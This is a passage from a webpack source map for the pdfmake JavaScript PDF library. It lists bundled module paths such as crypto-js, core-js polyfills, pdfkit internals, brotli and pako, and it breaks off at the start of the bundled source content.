k://pdfmake/./node_modules/crypto-js/pad-ansix923.js","webpack://pdfmake/./node_modules/crypto-js/pad-iso10126.js","webpack://pdfmake/./node_modules/crypto-js/pad-iso97971.js","webpack://pdfmake/./node_modules/crypto-js/pad-nopadding.js","webpack://pdfmake/./node_modules/crypto-js/pad-zeropadding.js","webpack://pdfmake/./node_modules/crypto-js/pbkdf2.js","webpack://pdfmake/./node_modules/crypto-js/rabbit-legacy.js","webpack://pdfmake/./node_modules/crypto-js/rabbit.js","webpack://pdfmake/./node_modules/crypto-js/rc4.js","webpack://pdfmake/./node_modules/crypto-js/ripemd160.js","webpack://pdfmake/./node_modules/crypto-js/sha1.js","webpack://pdfmake/./node_modules/crypto-js/sha224.js","webpack://pdfmake/./node_modules/crypto-js/sha256.js","webpack://pdfmake/./node_modules/crypto-js/sha3.js","webpack://pdfmake/./node_modules/crypto-js/sha384.js","webpack://pdfmake/./node_modules/crypto-js/sha512.js","webpack://pdfmake/./node_modules/crypto-js/tripledes.js","webpack://pdfmake/./node_modules/crypto-js/x64-core.js","webpack://pdfmake/src/StateMachine.js","webpack://pdfmake/./node_modules/png-js/png-node.js","webpack://pdfmake/./node_modules/safe-buffer/index.js","webpack://pdfmake/./node_modules/safer-buffer/safer.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/internal/streams/buffer_list.js","webpack://pdfmake/../lib/abstract_reference.js","webpack://pdfmake/../lib/tree.js","webpack://pdfmake/../lib/object.js","webpack://pdfmake/../lib/reference.js","webpack://pdfmake/../lib/page.js","webpack://pdfmake/../lib/name_tree.js","webpack://pdfmake/../lib/saslprep/lib/util.js","webpack://pdfmake/../lib/saslprep/lib/code-points.js","webpack://pdfmake/../lib/saslprep/index.js","webpack://pdfmake/../lib/security.js","webpack://pdfmake/../lib/path.js","webpack://pdfmake/../lib/gradient.js","webpack://pdfmake/../lib/pattern.js","webpack://pdfmake/../lib/mixins/color.js","webpack://pdfmake/../lib/mixins/vector.js","webpack://pdfmake/../lib/font/afm.js","webpack://pdfmake/../lib/font.js","webpack://pdfmake/../lib/font/standard.js","webpack://pdfmake/../lib/font/embedded.js","webpack://pdfmake/../lib/font_factory.js","webpack://pdfmake/../lib/mixins/fonts.js","webpack://pdfmake/../lib/line_wrapper.js","webpack://pdfmake/../lib/mixins/text.js","webpack://pdfmake/../lib/image/jpeg.js","webpack://pdfmake/../lib/image/png.js","webpack://pdfmake/../lib/image.js","webpack://pdfmake/../lib/mixins/images.js","webpack://pdfmake/../lib/mixins/annotations.js","webpack://pdfmake/../lib/outline.js","webpack://pdfmake/../lib/mixins/outline.js","webpack://pdfmake/../lib/structure_content.js","webpack://pdfmake/../lib/structure_element.js","webpack://pdfmake/../lib/number_tree.js","webpack://pdfmake/../lib/mixins/markings.js","webpack://pdfmake/../lib/mixins/acroform.js","webpack://pdfmake/../lib/mixins/attachments.js","webpack://pdfmake/../lib/document.js","webpack://pdfmake/index.js","webpack://pdfmake/browser.js","webpack://pdfmake/./node_modules/unicode-trie/index.js","webpack://pdfmake/./node_modules/unicode-trie/swap.js","webpack://pdfmake/./src/3rd-party/svg-to-pdfkit.js","webpack://pdfmake/./src/3rd-party/svg-to-pdfkit/source.js","webpack://pdfmake/./node_modules/base64-js/index.js","webpack://pdfmake/./node_modules/brotli/dec/bit_reader.js","webpack://pdfmake/./node_modules/brotli/dec/context.js","webpack://pdfmake/./node_modules/brotli/dec/decode.js","webpack://pdfmake/./node_modules/brotli/dec/dictionary-browser.js","webpack://pdfmake/./node_modules/brotli/dec/dictionary.bin.js","webpack://pdfmake/./node_modules/brotli/dec/dictionary.js","webpack://pdfmake/./node_modules/brotli/dec/huffman.js","webpack://pdfmake/./node_modules/brotli/dec/prefix.js","webpack://pdfmake/./node_modules/brotli/dec/streams.js","webpack://pdfmake/./node_modules/brotli/dec/transform.js","webpack://pdfmake/./node_modules/brotli/decompress.js","webpack://pdfmake/./node_modules/browserify-zlib/lib/binding.js","webpack://pdfmake/./node_modules/browserify-zlib/lib/index.js","webpack://pdfmake/./node_modules/browserify-zlib/node_modules/pako/lib/utils/common.js","webpack://pdfmake/./node_modules/browserify-zlib/node_modules/pako/lib/zlib/adler32.js","webpack://pdfmake/./node_modules/browserify-zlib/node_modules/pako/lib/zlib/constants.js","webpack://pdfmake/./node_modules/browserify-zlib/node_modules/pako/lib/zlib/crc32.js","webpack://pdfmake/./node_modules/browserify-zlib/node_modules/pako/lib/zlib/deflate.js","webpack://pdfmake/./node_modules/browserify-zlib/node_modules/pako/lib/zlib/inffast.js","webpack://pdfmake/./node_modules/browserify-zlib/node_modules/pako/lib/zlib/inflate.js","webpack://pdfmake/./node_modules/browserify-zlib/node_modules/pako/lib/zlib/inftrees.js","webpack://pdfmake/./node_modules/browserify-zlib/node_modules/pako/lib/zlib/messages.js","webpack://pdfmake/./node_modules/browserify-zlib/node_modules/pako/lib/zlib/trees.js","webpack://pdfmake/./node_modules/browserify-zlib/node_modules/pako/lib/zlib/zstream.js","webpack://pdfmake/./node_modules/call-bind/callBound.js","webpack://pdfmake/./node_modules/call-bind/index.js","webpack://pdfmake/./node_modules/clone/clone.js","webpack://pdfmake/./node_modules/core-js/es/object/values.js","webpack://pdfmake/./node_modules/core-js/es/promise/index.js","webpack://pdfmake/./node_modules/core-js/features/promise/index.js","webpack://pdfmake/./node_modules/core-js/internals/a-callable.js","webpack://pdfmake/./node_modules/core-js/internals/a-constructor.js","webpack://pdfmake/./node_modules/core-js/internals/a-possible-prototype.js","webpack://pdfmake/./node_modules/core-js/internals/add-to-unscopables.js","webpack://pdfmake/./node_modules/core-js/internals/advance-string-index.js","webpack://pdfmake/./node_modules/core-js/internals/an-instance.js","webpack://pdfmake/./node_modules/core-js/internals/an-object.js","webpack://pdfmake/./node_modules/core-js/internals/array-copy-within.js","webpack://pdfmake/./node_modules/core-js/internals/array-fill.js","webpack://pdfmake/./node_modules/core-js/internals/array-for-each.js","webpack://pdfmake/./node_modules/core-js/internals/array-from-constructor-and-list.js","webpack://pdfmake/./node_modules/core-js/internals/array-from.js","webpack://pdfmake/./node_modules/core-js/internals/array-includes.js","webpack://pdfmake/./node_modules/core-js/internals/array-iteration.js","webpack://pdfmake/./node_modules/core-js/internals/array-last-index-of.js","webpack://pdfmake/./node_modules/core-js/internals/array-method-has-species-support.js","webpack://pdfmake/./node_modules/core-js/internals/array-method-is-strict.js","webpack://pdfmake/./node_modules/core-js/internals/array-reduce.js","webpack://pdfmake/./node_modules/core-js/internals/array-slice.js","webpack://pdfmake/./node_modules/core-js/internals/array-sort.js","webpack://pdfmake/./node_modules/core-js/internals/array-species-constructor.js","webpack://pdfmake/./node_modules/core-js/internals/array-species-create.js","webpack://pdfmake/./node_modules/core-js/internals/call-with-safe-iteration-closing.js","webpack://pdfmake/./node_modules/core-js/internals/check-correctness-of-iteration.js","webpack://pdfmake/./node_modules/core-js/internals/classof-raw.js","webpack://pdfmake/./node_modules/core-js/internals/classof.js","webpack://pdfmake/./node_modules/core-js/internals/clear-error-stack.js","webpack://pdfmake/./node_modules/core-js/internals/collection-strong.js","webpack://pdfmake/./node_modules/core-js/internals/collection.js","webpack://pdfmake/./node_modules/core-js/internals/copy-constructor-properties.js","webpack://pdfmake/./node_modules/core-js/internals/correct-is-regexp-logic.js","webpack://pdfmake/./node_modules/core-js/internals/correct-prototype-getter.js","webpack://pdfmake/./node_modules/core-js/internals/create-html.js","webpack://pdfmake/./node_modules/core-js/internals/create-iterator-constructor.js","webpack://pdfmake/./node_modules/core-js/internals/create-non-enumerable-property.js","webpack://pdfmake/./node_modules/core-js/internals/create-property-descriptor.js","webpack://pdfmake/./node_modules/core-js/internals/create-property.js","webpack://pdfmake/./node_modules/core-js/internals/date-to-primitive.js","webpack://pdfmake/./node_modules/core-js/internals/define-iterator.js","webpack://pdfmake/./node_modules/core-js/internals/define-well-known-symbol.js","webpack://pdfmake/./node_modules/core-js/internals/descriptors.js","webpack://pdfmake/./node_modules/core-js/internals/document-create-element.js","webpack://pdfmake/./node_modules/core-js/internals/dom-iterables.js","webpack://pdfmake/./node_modules/core-js/internals/dom-token-list-prototype.js","webpack://pdfmake/./node_modules/core-js/internals/engine-ff-version.js","webpack://pdfmake/./node_modules/core-js/internals/engine-is-browser.js","webpack://pdfmake/./node_modules/core-js/internals/engine-is-ie-or-edge.js","webpack://pdfmake/./node_modules/core-js/internals/engine-is-ios-pebble.js","webpack://pdfmake/./node_modules/core-js/internals/engine-is-ios.js","webpack://pdfmake/./node_modules/core-js/internals/engine-is-node.js","webpack://pdfmake/./node_modules/core-js/internals/engine-is-webos-webkit.js","webpack://pdfmake/./node_modules/core-js/internals/engine-user-agent.js","webpack://pdfmake/./node_modules/core-js/internals/engine-v8-version.js","webpack://pdfmake/./node_modules/core-js/internals/engine-webkit-version.js","webpack://pdfmake/./node_modules/core-js/internals/enum-bug-keys.js","webpack://pdfmake/./node_modules/core-js/internals/error-stack-installable.js","webpack://pdfmake/./node_modules/core-js/internals/export.js","webpack://pdfmake/./node_modules/core-js/internals/fails.js","webpack://pdfmake/./node_modules/core-js/internals/fix-regexp-well-known-symbol-logic.js","webpack://pdfmake/./node_modules/core-js/internals/freezing.js","webpack://pdfmake/./node_modules/core-js/internals/function-apply.js","webpack://pdfmake/./node_modules/core-js/internals/function-bind-context.js","webpack://pdfmake/./node_modules/core-js/internals/function-bind.js","webpack://pdfmake/./node_modules/core-js/internals/function-call.js","webpack://pdfmake/./node_modules/core-js/internals/function-name.js","webpack://pdfmake/./node_modules/core-js/internals/function-uncurry-this.js","webpack://pdfmake/./node_modules/core-js/internals/get-built-in.js","webpack://pdfmake/./node_modules/core-js/internals/get-iterator-method.js","webpack://pdfmake/./node_modules/core-js/internals/get-iterator.js","webpack://pdfmake/./node_modules/core-js/internals/get-method.js","webpack://pdfmake/./node_modules/core-js/internals/get-substitution.js","webpack://pdfmake/./node_modules/core-js/internals/global.js","webpack://pdfmake/./node_modules/core-js/internals/has-own-property.js","webpack://pdfmake/./node_modules/core-js/internals/hidden-keys.js","webpack://pdfmake/./node_modules/core-js/internals/host-report-errors.js","webpack://pdfmake/./node_modules/core-js/internals/html.js","webpack://pdfmake/./node_modules/core-js/internals/ie8-dom-define.js","webpack://pdfmake/./node_modules/core-js/internals/ieee754.js","webpack://pdfmake/./node_modules/core-js/internals/indexed-object.js","webpack://pdfmake/./node_modules/core-js/internals/inherit-if-required.js","webpack://pdfmake/./node_modules/core-js/internals/inspect-source.js","webpack://pdfmake/./node_modules/core-js/internals/install-error-cause.js","webpack://pdfmake/./node_modules/core-js/internals/internal-metadata.js","webpack://pdfmake/./node_modules/core-js/internals/internal-state.js","webpack://pdfmake/./node_modules/core-js/internals/is-array-iterator-method.js","webpack://pdfmake/./node_modules/core-js/internals/is-array.js","webpack://pdfmake/./node_modules/core-js/internals/is-callable.js","webpack://pdfmake/./node_modules/core-js/internals/is-constructor.js","webpack://pdfmake/./node_modules/core-js/internals/is-forced.js","webpack://pdfmake/./node_modules/core-js/internals/is-integral-number.js","webpack://pdfmake/./node_modules/core-js/internals/is-object.js","webpack://pdfmake/./node_modules/core-js/internals/is-pure.js","webpack://pdfmake/./node_modules/core-js/internals/is-regexp.js","webpack://pdfmake/./node_modules/core-js/internals/is-symbol.js","webpack://pdfmake/./node_modules/core-js/internals/iterate.js","webpack://pdfmake/./node_modules/core-js/internals/iterator-close.js","webpack://pdfmake/./node_modules/core-js/internals/iterators-core.js","webpack://pdfmake/./node_modules/core-js/internals/iterators.js","webpack://pdfmake/./node_modules/core-js/internals/length-of-array-like.js","webpack://pdfmake/./node_modules/core-js/internals/microtask.js","webpack://pdfmake/./node_modules/core-js/internals/native-promise-constructor.js","webpack://pdfmake/./node_modules/core-js/internals/native-symbol.js","webpack://pdfmake/./node_modules/core-js/internals/native-weak-map.js","webpack://pdfmake/./node_modules/core-js/internals/new-promise-capability.js","webpack://pdfmake/./node_modules/core-js/internals/normalize-string-argument.js","webpack://pdfmake/./node_modules/core-js/internals/not-a-regexp.js","webpack://pdfmake/./node_modules/core-js/internals/number-is-finite.js","webpack://pdfmake/./node_modules/core-js/internals/object-assign.js","webpack://pdfmake/./node_modules/core-js/internals/object-create.js","webpack://pdfmake/./node_modules/core-js/internals/object-define-properties.js","webpack://pdfmake/./node_modules/core-js/internals/object-define-property.js","webpack://pdfmake/./node_modules/core-js/internals/object-get-own-property-descriptor.js","webpack://pdfmake/./node_modules/core-js/internals/object-get-own-property-names-external.js","webpack://pdfmake/./node_modules/core-js/internals/object-get-own-property-names.js","webpack://pdfmake/./node_modules/core-js/internals/object-get-own-property-symbols.js","webpack://pdfmake/./node_modules/core-js/internals/object-get-prototype-of.js","webpack://pdfmake/./node_modules/core-js/internals/object-is-prototype-of.js","webpack://pdfmake/./node_modules/core-js/internals/object-keys-internal.js","webpack://pdfmake/./node_modules/core-js/internals/object-keys.js","webpack://pdfmake/./node_modules/core-js/internals/object-property-is-enumerable.js","webpack://pdfmake/./node_modules/core-js/internals/object-set-prototype-of.js","webpack://pdfmake/./node_modules/core-js/internals/object-to-array.js","webpack://pdfmake/./node_modules/core-js/internals/object-to-string.js","webpack://pdfmake/./node_modules/core-js/internals/ordinary-to-primitive.js","webpack://pdfmake/./node_modules/core-js/internals/own-keys.js","webpack://pdfmake/./node_modules/core-js/internals/path.js","webpack://pdfmake/./node_modules/core-js/internals/perform.js","webpack://pdfmake/./node_modules/core-js/internals/promise-resolve.js","webpack://pdfmake/./node_modules/core-js/internals/redefine-all.js","webpack://pdfmake/./node_modules/core-js/internals/redefine.js","webpack://pdfmake/./node_modules/core-js/internals/regexp-exec-abstract.js","webpack://pdfmake/./node_modules/core-js/internals/regexp-exec.js","webpack://pdfmake/./node_modules/core-js/internals/regexp-flags.js","webpack://pdfmake/./node_modules/core-js/internals/regexp-sticky-helpers.js","webpack://pdfmake/./node_modules/core-js/internals/regexp-unsupported-dot-all.js","webpack://pdfmake/./node_modules/core-js/internals/regexp-unsupported-ncg.js","webpack://pdfmake/./node_modules/core-js/internals/require-object-coercible.js","webpack://pdfmake/./node_modules/core-js/internals/set-global.js","webpack://pdfmake/./node_modules/core-js/internals/set-species.js","webpack://pdfmake/./node_modules/core-js/internals/set-to-string-tag.js","webpack://pdfmake/./node_modules/core-js/internals/shared-key.js","webpack://pdfmake/./node_modules/core-js/internals/shared-store.js","webpack://pdfmake/./node_modules/core-js/internals/shared.js","webpack://pdfmake/./node_modules/core-js/internals/species-constructor.js","webpack://pdfmake/./node_modules/core-js/internals/string-html-forced.js","webpack://pdfmake/./node_modules/core-js/internals/string-multibyte.js","webpack://pdfmake/./node_modules/core-js/internals/string-repeat.js","webpack://pdfmake/./node_modules/core-js/internals/string-trim-forced.js","webpack://pdfmake/./node_modules/core-js/internals/string-trim.js","webpack://pdfmake/./node_modules/core-js/internals/task.js","webpack://pdfmake/./node_modules/core-js/internals/this-number-value.js","webpack://pdfmake/./node_modules/core-js/internals/to-absolute-index.js","webpack://pdfmake/./node_modules/core-js/internals/to-index.js","webpack://pdfmake/./node_modules/core-js/internals/to-indexed-object.js","webpack://pdfmake/./node_modules/core-js/internals/to-integer-or-infinity.js","webpack://pdfmake/./node_modules/core-js/internals/to-length.js","webpack://pdfmake/./node_modules/core-js/internals/to-object.js","webpack://pdfmake/./node_modules/core-js/internals/to-offset.js","webpack://pdfmake/./node_modules/core-js/internals/to-positive-integer.js","webpack://pdfmake/./node_modules/core-js/internals/to-primitive.js","webpack://pdfmake/./node_modules/core-js/internals/to-property-key.js","webpack://pdfmake/./node_modules/core-js/internals/to-string-tag-support.js","webpack://pdfmake/./node_modules/core-js/internals/to-string.js","webpack://pdfmake/./node_modules/core-js/internals/try-to-string.js","webpack://pdfmake/./node_modules/core-js/internals/typed-array-constructor.js","webpack://pdfmake/./node_modules/core-js/internals/typed-array-constructors-require-wrappers.js","webpack://pdfmake/./node_modules/core-js/internals/typed-array-from-species-and-list.js","webpack://pdfmake/./node_modules/core-js/internals/typed-array-from.js","webpack://pdfmake/./node_modules/core-js/internals/typed-array-species-constructor.js","webpack://pdfmake/./node_modules/core-js/internals/uid.js","webpack://pdfmake/./node_modules/core-js/internals/use-symbol-as-uid.js","webpack://pdfmake/./node_modules/core-js/internals/well-known-symbol-wrapped.js","webpack://pdfmake/./node_modules/core-js/internals/well-known-symbol.js","webpack://pdfmake/./node_modules/core-js/internals/whitespaces.js","webpack://pdfmake/./node_modules/core-js/modules/es.aggregate-error.js","webpack://pdfmake/./node_modules/core-js/modules/es.array.concat.js","webpack://pdfmake/./node_modules/core-js/modules/es.array.copy-within.js","webpack://pdfmake/./node_modules/core-js/modules/es.array.fill.js","webpack://pdfmake/./node_modules/core-js/modules/es.array.filter.js","webpack://pdfmake/./node_modules/core-js/modules/es.array.from.js","webpack://pdfmake/./node_modules/core-js/modules/es.array.includes.js","webpack://pdfmake/./node_modules/core-js/modules/es.array.iterator.js","webpack://pdfmake/./node_modules/core-js/modules/es.array.join.js","webpack://pdfmake/./node_modules/core-js/modules/es.array.map.js","webpack://pdfmake/./node_modules/core-js/modules/es.array.slice.js","webpack://pdfmake/./node_modules/core-js/modules/es.array.sort.js","webpack://pdfmake/./node_modules/core-js/modules/es.array.splice.js","webpack://pdfmake/./node_modules/core-js/modules/es.date.to-primitive.js","webpack://pdfmake/./node_modules/core-js/modules/es.function.name.js","webpack://pdfmake/./node_modules/core-js/modules/es.global-this.js","webpack://pdfmake/./node_modules/core-js/modules/es.map.js","webpack://pdfmake/./node_modules/core-js/modules/es.math.log2.js","webpack://pdfmake/./node_modules/core-js/modules/es.number.constructor.js","webpack://pdfmake/./node_modules/core-js/modules/es.number.epsilon.js","webpack://pdfmake/./node_modules/core-js/modules/es.number.is-finite.js","webpack://pdfmake/./node_modules/core-js/modules/es.number.is-integer.js","webpack://pdfmake/./node_modules/core-js/modules/es.number.to-fixed.js","webpack://pdfmake/./node_modules/core-js/modules/es.object.assign.js","webpack://pdfmake/./node_modules/core-js/modules/es.object.freeze.js","webpack://pdfmake/./node_modules/core-js/modules/es.object.get-own-property-descriptor.js","webpack://pdfmake/./node_modules/core-js/modules/es.object.get-own-property-descriptors.js","webpack://pdfmake/./node_modules/core-js/modules/es.object.get-prototype-of.js","webpack://pdfmake/./node_modules/core-js/modules/es.object.keys.js","webpack://pdfmake/./node_modules/core-js/modules/es.object.to-string.js","webpack://pdfmake/./node_modules/core-js/modules/es.object.values.js","webpack://pdfmake/./node_modules/core-js/modules/es.promise.all-settled.js","webpack://pdfmake/./node_modules/core-js/modules/es.promise.any.js","webpack://pdfmake/./node_modules/core-js/modules/es.promise.finally.js","webpack://pdfmake/./node_modules/core-js/modules/es.promise.js","webpack://pdfmake/./node_modules/core-js/modules/es.reflect.construct.js","webpack://pdfmake/./node_modules/core-js/modules/es.regexp.exec.js","webpack://pdfmake/./node_modules/core-js/modules/es.regexp.flags.js","webpack://pdfmake/./node_modules/core-js/modules/es.regexp.to-string.js","webpack://pdfmake/./node_modules/core-js/modules/es.set.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.code-point-at.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.from-code-point.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.includes.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.italics.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.iterator.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.link.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.match-all.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.match.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.repeat.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.replace.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.split.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.strike.js","webpack://pdfmake/./node_modules/core-js/modules/es.string.trim.js","webpack://pdfmake/./node_modules/core-js/modules/es.symbol.description.js","webpack://pdfmake/./node_modules/core-js/modules/es.symbol.iterator.js","webpack://pdfmake/./node_modules/core-js/modules/es.symbol.js","webpack://pdfmake/./node_modules/core-js/modules/es.symbol.to-primitive.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.copy-within.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.every.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.fill.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.filter.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.find-index.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.find.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.float32-array.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.float64-array.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.for-each.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.from.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.includes.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.index-of.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.int16-array.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.int32-array.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.int8-array.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.iterator.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.join.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.last-index-of.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.map.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.reduce-right.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.reduce.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.reverse.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.set.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.slice.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.some.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.sort.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.subarray.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.to-locale-string.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.to-string.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.uint16-array.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.uint32-array.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.uint8-array.js","webpack://pdfmake/./node_modules/core-js/modules/es.typed-array.uint8-clamped-array.js","webpack://pdfmake/./node_modules/core-js/modules/esnext.aggregate-error.js","webpack://pdfmake/./node_modules/core-js/modules/esnext.global-this.js","webpack://pdfmake/./node_modules/core-js/modules/esnext.promise.all-settled.js","webpack://pdfmake/./node_modules/core-js/modules/esnext.promise.any.js","webpack://pdfmake/./node_modules/core-js/modules/esnext.promise.try.js","webpack://pdfmake/./node_modules/core-js/modules/esnext.string.match-all.js","webpack://pdfmake/./node_modules/core-js/modules/web.dom-collections.for-each.js","webpack://pdfmake/./node_modules/core-js/modules/web.dom-collections.iterator.js","webpack://pdfmake/./node_modules/core-js/modules/web.url.to-json.js","webpack://pdfmake/./node_modules/core-js/stable/promise/index.js","webpack://pdfmake/./node_modules/deep-equal/index.js","webpack://pdfmake/./node_modules/define-properties/index.js","webpack://pdfmake/./node_modules/es6-object-assign/index.js","webpack://pdfmake/./node_modules/events/events.js","webpack://pdfmake/./src/browser-extensions/pdfMake-exposed.js","webpack://pdfmake/./node_modules/expose-loader/dist/runtime/getGlobalThis.js","webpack://pdfmake/./node_modules/foreach/index.js","webpack://pdfmake/./node_modules/function-bind/implementation.js","webpack://pdfmake/./node_modules/function-bind/index.js","webpack://pdfmake/./node_modules/get-intrinsic/index.js","webpack://pdfmake/./node_modules/has-symbols/index.js","webpack://pdfmake/./node_modules/has-symbols/shams.js","webpack://pdfmake/./node_modules/has-tostringtag/shams.js","webpack://pdfmake/./node_modules/has/src/index.js","webpack://pdfmake/./node_modules/iconv-lite/encodings/dbcs-codec.js","webpack://pdfmake/./node_modules/iconv-lite/encodings/dbcs-data.js","webpack://pdfmake/./node_modules/iconv-lite/encodings/index.js","webpack://pdfmake/./node_modules/iconv-lite/encodings/internal.js","webpack://pdfmake/./node_modules/iconv-lite/encodings/sbcs-codec.js","webpack://pdfmake/./node_modules/iconv-lite/encodings/sbcs-data-generated.js","webpack://pdfmake/./node_modules/iconv-lite/encodings/sbcs-data.js","webpack://pdfmake/./node_modules/iconv-lite/encodings/utf16.js","webpack://pdfmake/./node_modules/iconv-lite/encodings/utf32.js","webpack://pdfmake/./node_modules/iconv-lite/encodings/utf7.js","webpack://pdfmake/./node_modules/iconv-lite/lib/bom-handling.js","webpack://pdfmake/./node_modules/iconv-lite/lib/index.js","webpack://pdfmake/./node_modules/iconv-lite/lib/streams.js","webpack://pdfmake/./node_modules/ieee754/index.js","webpack://pdfmake/./node_modules/inherits/inherits_browser.js","webpack://pdfmake/./node_modules/is-arguments/index.js","webpack://pdfmake/./node_modules/is-date-object/index.js","webpack://pdfmake/./node_modules/is-generator-function/index.js","webpack://pdfmake/./node_modules/is-nan/implementation.js","webpack://pdfmake/./node_modules/is-nan/index.js","webpack://pdfmake/./node_modules/is-nan/polyfill.js","webpack://pdfmake/./node_modules/is-nan/shim.js","webpack://pdfmake/./node_modules/is-regex/index.js","webpack://pdfmake/./node_modules/is-typed-array/index.js","webpack://pdfmake/./node_modules/object-is/implementation.js","webpack://pdfmake/./node_modules/object-is/index.js","webpack://pdfmake/./node_modules/object-is/polyfill.js","webpack://pdfmake/./node_modules/object-is/shim.js","webpack://pdfmake/./node_modules/object-keys/implementation.js","webpack://pdfmake/./node_modules/object-keys/index.js","webpack://pdfmake/./node_modules/object-keys/isArguments.js","webpack://pdfmake/./node_modules/process/browser.js","webpack://pdfmake/./node_modules/regenerator-runtime/runtime.js","webpack://pdfmake/./node_modules/regexp.prototype.flags/implementation.js","webpack://pdfmake/./node_modules/regexp.prototype.flags/index.js","webpack://pdfmake/./node_modules/regexp.prototype.flags/polyfill.js","webpack://pdfmake/./node_modules/regexp.prototype.flags/shim.js","webpack://pdfmake/./node_modules/sax/lib/sax.js","webpack://pdfmake/./node_modules/stream-browserify/index.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/errors-browser.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/_stream_duplex.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/_stream_passthrough.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/_stream_readable.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/_stream_transform.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/_stream_writable.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/internal/streams/async_iterator.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/internal/streams/destroy.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/internal/streams/end-of-stream.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/internal/streams/from-browser.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/internal/streams/pipeline.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/internal/streams/state.js","webpack://pdfmake/./node_modules/stream-browserify/node_modules/readable-stream/lib/internal/streams/stream-browser.js","webpack://pdfmake/./node_modules/file-saver/dist/FileSaver.min.js","webpack://pdfmake/./node_modules/string_decoder/lib/string_decoder.js","webpack://pdfmake/./node_modules/tiny-inflate/index.js","webpack://pdfmake/./node_modules/@foliojs-fork/fontkit/index.js","webpack://pdfmake/./node_modules/@foliojs-fork/linebreak/src/linebreaker.js","webpack://pdfmake/./node_modules/util-deprecate/browser.js","webpack://pdfmake/./node_modules/util/support/isBufferBrowser.js","webpack://pdfmake/./node_modules/util/support/types.js","webpack://pdfmake/./node_modules/util/util.js","webpack://pdfmake/./node_modules/which-typed-array/index.js","webpack://pdfmake/./node_modules/xmldoc/index.js","webpack://pdfmake/./node_modules/xmldoc/lib/xmldoc.js","webpack://pdfmake/./src/browser-extensions/URLBrowserResolver.js","webpack://pdfmake/./src/browser-extensions/pdfMake.js","webpack://pdfmake/./src/browser-extensions/virtual-fs.js","webpack://pdfmake/./src/columnCalculator.js","webpack://pdfmake/./src/docMeasure.js","webpack://pdfmake/./src/docPreprocessor.js","webpack://pdfmake/./src/documentContext.js","webpack://pdfmake/./src/elementWriter.js","webpack://pdfmake/./src/fontProvider.js","webpack://pdfmake/./src/helpers.js","webpack://pdfmake/./src/imageMeasure.js","webpack://pdfmake/./src/layoutBuilder.js","webpack://pdfmake/./src/line.js","webpack://pdfmake/./src/pageElementWriter.js","webpack://pdfmake/./src/pdfKitEngine.js","webpack://pdfmake/./src/printer.js","webpack://pdfmake/./src/qrEnc.js","webpack://pdfmake/./src/standardPageSizes.js","webpack://pdfmake/./src/styleContextStack.js","webpack://pdfmake/./src/svgMeasure.js","webpack://pdfmake/./src/tableProcessor.js","webpack://pdfmake/./src/textDecorator.js","webpack://pdfmake/./src/textTools.js","webpack://pdfmake/./src/traversalTracker.js","webpack://pdfmake/./node_modules/available-typed-arrays/index.js","webpack://pdfmake/./node_modules/es-abstract/helpers/getOwnPropertyDescriptor.js","webpack://pdfmake/webpack/bootstrap","webpack://pdfmake/webpack/runtime/global","webpack://pdfmake/webpack/runtime/node module decorator","webpack://pdfmake/webpack/startup"],"sourcesContent":["(function webpackUniversalModuleDefinition(root, factory) {\n\tif(typeof exports === 'object' && typeof module === 'object')\n\t\tmodule.exports = factory();\n\telse if(typeof define === 